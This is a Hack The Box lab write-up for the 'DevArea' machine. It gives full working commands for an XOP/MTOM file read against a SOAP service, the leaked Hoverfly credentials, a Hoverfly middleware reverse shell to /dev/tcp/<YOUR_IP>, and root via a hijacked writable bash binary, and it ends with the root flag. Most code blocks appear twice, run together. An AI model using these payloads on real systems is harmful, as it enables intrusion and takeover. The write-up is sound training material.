July 14, 2026
HTB Writeup — DevArea
Target: devarea.htb

By M3H47D1
2 min read
Difficulty: Medium (SOAP/XXE-style file read → credential leak → Hoverfly middleware RCE → sudo binary hijack)
- Reconnaissance
sudo nmap -sS -p- devarea.htb --open
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
8500/tcp open fmtp
8888/tcp open sun-answerbooksudo nmap -sS -p- devarea.htb --open
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
8500/tcp open fmtp
8888/tcp open sun-answerbook8080 — SOAP web service (EmployeeService), Apache CXF on Jetty. WSDL at http://localhost:8080/employeeservice?wsdl, exposing a submitReport operation (employeeName, department, confidential, content).
8888 — Hoverfly admin API.
8500 — likely the Hoverfly proxy port.
- Initial Foothold — Arbitrary File Read via XOP/MTOM
xop:Include
The content field accepts an MTOM/XOP attachment reference. CXF resolves xop:Include by fetching whatever href is given — including file:// URIs — and embeds the result (base64) back into the response. This gives arbitrary local file read.
Reading /etc/hostname:
curl -X POST http://devarea.htb:8080/employeeservice \
-H 'Content-Type: multipart/related; type="application/xop+xml"; start="rootpart@example.com"; boundary="MIMEBoundary"; start-info="text/xml"' \
-d '--MIMEBoundary
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: 8bit
Content-ID: rootpart@example.com
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:dev="http://devarea.htb/">
<soapenv:Body>
<dev:submitReport>
<arg0>
<confidential>false</confidential>
<content>
<xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include"
href="file:///etc/hostname"/>
</content>
<department>IT</department>
<employeeName>test</employeeName>
</arg0>
</dev:submitReport>
</soapenv:Body>
</soapenv:Envelope>
--MIMEBoundary--'curl -X POST http://devarea.htb:8080/employeeservice \
-H 'Content-Type: multipart/related; type="application/xop+xml"; start="rootpart@example.com"; boundary="MIMEBoundary"; start-info="text/xml"' \
-d '--MIMEBoundary
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: 8bit
Content-ID: rootpart@example.com
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:dev="http://devarea.htb/">
<soapenv:Body>
<dev:submitReport>
<arg0>
<confidential>false</confidential>
<content>
<xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include"
href="file:///etc/hostname"/>
</content>
<department>IT</department>
<employeeName>test</employeeName>
</arg0>
</dev:submitReport>
</soapenv:Body>
</soapenv:Envelope>
--MIMEBoundary--'Response leaks the file, base64-encoded, inside <return>:
<return>Report received from test. Department: IT. Content: ZGV2YXJlYQo=</return>
echo "ZGV2YXJlYQo=" | base64 -d # devarea<return>Report received from test. Department: IT. Content: ZGV2YXJlYQo=</return>
echo "ZGV2YXJlYQo=" | base64 -d # devareaPivoting to a systemd unit file (looking for credentials/architecture hints):
curl -X POST http://devarea.htb:8080/employeeservice \
-H 'Content-Type: multipart/related; type="application/xop+xml"; start="rootpart@example.com"; boundary="MIMEBoundary"; start-info="text/xml"' \
-d '--MIMEBoundary
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: 8bit
Content-ID: rootpart@example.com
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:dev="http://devarea.htb/">
<soapenv:Body>
<dev:submitReport>
<arg0>
<confidential>false</confidential>
<content>
<xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include"
href="file:///etc/systemd/system/hoverfly.service"/>
</content>
<department>IT</department>
<employeeName>test</employeeName>
</arg0>
</dev:submitReport>
</soapenv:Body>
</soapenv:Envelope>
--MIMEBoundary--' | grep -oP 'Content: \K[^<]+' | base64 -dcurl -X POST http://devarea.htb:8080/employeeservice \
-H 'Content-Type: multipart/related; type="application/xop+xml"; start="rootpart@example.com"; boundary="MIMEBoundary"; start-info="text/xml"' \
-d '--MIMEBoundary
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: 8bit
Content-ID: rootpart@example.com
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:dev="http://devarea.htb/">
<soapenv:Body>
<dev:submitReport>
<arg0>
<confidential>false</confidential>
<content>
<xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include"
href="file:///etc/systemd/system/hoverfly.service"/>
</content>
<department>IT</department>
<employeeName>test</employeeName>
</arg0>
</dev:submitReport>
</soapenv:Body>
</soapenv:Envelope>
--MIMEBoundary--' | grep -oP 'Content: \K[^<]+' | base64 -dReturns the unit file with credentials in ExecStart:
[Service]
User=dev_ryan
Group=dev_ryan
WorkingDirectory=/opt/HoverFly
ExecStart=/opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0[Service]
User=dev_ryan
Group=dev_ryan
WorkingDirectory=/opt/HoverFly
ExecStart=/opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0→ Hoverfly runs as dev_ryan; creds admin : O7IJ27MyyXiU.
- Hoverfly Admin API → RCE
Authenticate to get a JWT:
curl -X POST http://devarea.htb:8888/api/token-auth \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"O7IJ27MyyXiU"}'
TOKEN="eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9...."curl -X POST http://devarea.htb:8888/api/token-auth \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"O7IJ27MyyXiU"}'
TOKEN="eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9...."Hoverfly's middleware feature lets an authenticated admin set an arbitrary binary/script that runs against every intercepted request — a known RCE primitive:
cat > /tmp/middleware.json << 'EOF'
{"binary":"/bin/bash","script":"bash -i >& /dev/tcp/<YOUR_IP>/<YOUR_PORT> 0>&1"}
EOF
curl -X PUT http://devarea.htb:8888/api/v2/hoverfly/middleware \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d @/tmp/middleware.jsoncat > /tmp/middleware.json << 'EOF'
{"binary":"/bin/bash","script":"bash -i >& /dev/tcp/<YOUR_IP>/<YOUR_PORT> 0>&1"}
EOF
curl -X PUT http://devarea.htb:8888/api/v2/hoverfly/middleware \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d @/tmp/middleware.json(Listener started beforehand: nc -lvnpport.) This yields a shell as dev_ryan.
- Privilege Escalation —
dev_ryan→root
sudo -l
User dev_ryan may run the following commands on devarea:
(root) NOPASSWD: /opt/syswatch/syswatch.sh web-stop, !/opt/syswatch/syswatch.sh web-restartsudo -l
User dev_ryan may run the following commands on devarea:
(root) NOPASSWD: /opt/syswatch/syswatch.sh web-stop, !/opt/syswatch/syswatch.sh web-restartsyswatch.sh web-stop runs as root and internally invokes bash. /usr/bin/bash itself is writable by dev_ryan — a binary-hijack opportunity.
Craft a fake bash:
printf '#!/bin/sh\ncp /tmp/bash_backup /tmp/rootbash\nchown root:root /tmp/rootbash\nchmod 4777 /tmp/rootbash\n' > /tmp/fakebash
chmod +x /tmp/fakebashprintf '#!/bin/sh\ncp /tmp/bash_backup /tmp/rootbash\nchown root:root /tmp/rootbash\nchmod 4777 /tmp/rootbash\n' > /tmp/fakebash
chmod +x /tmp/fakebash(/tmp/bash_backup is a pre-staged copy of the genuine /bin/bash, taken before overwriting the system one.)
Swap it in via Perl (a plain cp fails since the running binary is busy):
perl -e 'use File::Copy "cp"; cp("/tmp/fakebash","/usr/bin/bash")'
file /usr/bin/bash # POSIX shell script, ASCII text executableperl -e 'use File::Copy "cp"; cp("/tmp/fakebash","/usr/bin/bash")'
file /usr/bin/bash # POSIX shell script, ASCII text executableTrigger it as root:
sudo /opt/syswatch/syswatch.sh --version
# cp: cannot create regular file '/tmp/rootbash': Text file busy <- confirms it already ran once
ls -la /tmp/rootbash
# -rwsrwxrwx 1 root root 1446024 Apr 1 22:23 /tmp/rootbashsudo /opt/syswatch/syswatch.sh --version
# cp: cannot create regular file '/tmp/rootbash': Text file busy <- confirms it already ran once
ls -la /tmp/rootbash
# -rwsrwxrwx 1 root root 1446024 Apr 1 22:23 /tmp/rootbashRoot shell:
/tmp/rootbash -p
whoami # root
cat /root/root.txt
# 187a2e97021da177140373563dcc6cb5/tmp/rootbash -p
whoami # root
cat /root/root.txt
# 187a2e97021da177140373563dcc6cb5